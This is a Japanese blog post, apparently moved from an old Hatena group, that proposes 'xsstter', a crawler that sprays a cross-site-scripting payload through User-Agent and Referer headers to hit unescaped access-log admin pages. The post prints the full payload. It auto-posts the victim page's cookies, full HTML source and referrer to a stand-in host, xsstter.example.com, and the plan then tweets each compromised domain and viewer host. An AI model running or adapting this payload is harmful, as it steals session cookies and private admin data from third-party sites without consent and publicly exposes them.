この投稿は過去に「はてなグループ - ついったー部」に投稿したものを、はてなグループの閉鎖に伴ってブログに移動させたものです。
(概要)
User-AgentやReferrerを表示する箇所にXSSがあるサイトを発見し、自動的に情報をtwitterに投稿する。
主に適当に作られていることの多いアクセス解析の管理画面などで発動すると思われる。
(しくみ)
特殊なUser-AgentやReffererを設定したクローラーが適当にWebを巡る。
UAやRefの内容は以下のような感じ。
'"><form id="x__f" method="post" action="http://xsstter.example.com/"><input name="x__r" id="x__r"><input name="x__c" id="x__c"><input name="x__s" id="x__s"></form><script>window.onload=function(){d=document; d.getElementById('x__r').value=d.referrer; d.getElementById('x__c').value=d.cookie; d.getElementById('x__s').value=d.documentElement.innerHTML; d.getElementById('x__f').submit();}</script><x x="'
もしアクセス解析のような画面で、上のUser-Agentがエスケープされずに表示された場合、つまりXSSが発動した場合 xsstter.example.comというホストに、
- 発動したページの前のページURL(JavaScriptのリファラ)
- 発動したページのクッキーの内容
- 発動したページのHTMLソース
がJavaScriptよって送信され、また、
- 発動したページのURL(リクエスト時のリファラ)
- 発動させた人のhost名
がリクエストヘッダにのって送信される。
xsstterの図
これを受け取った xsstter.example.com のサーバーは、受け取った情報を記録し、
情報に重複がなければ、情報を整形し見やすくしたページを表示できるようにし、
また、その情報ページのパーマリンクを生成する。
そして、twitterのxsstterアカウントを使って、以下のような投稿を自動的に行う。
xsstter: (xssが発動したドメイン) で (xssを発動させたhost) によってXSSが発動しました! 詳細 → http://xsstter.example.com/permalink
というのを考えたんだけど、エガミくん運用まかせた。